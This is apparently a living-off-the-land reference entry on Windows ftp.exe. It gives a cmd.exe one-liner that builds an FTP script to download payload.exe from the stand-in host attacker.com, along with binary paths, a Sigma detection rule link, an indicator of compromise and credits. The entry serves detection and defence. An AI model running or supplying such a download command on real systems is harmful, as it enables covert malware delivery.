A binary designed for connecting to FTP servers
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
Download
Spawn new process using ftp.exe. Ftp.exe downloads the binary.
C:\Windows\System32\ftp.exe, C:\Windows\SysWOW64\ftp.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml, IOC: cmd /c as child process of ftp.exe
Casey Smith (@subtee), BennyHusted, Amit Serper (@0xAmit)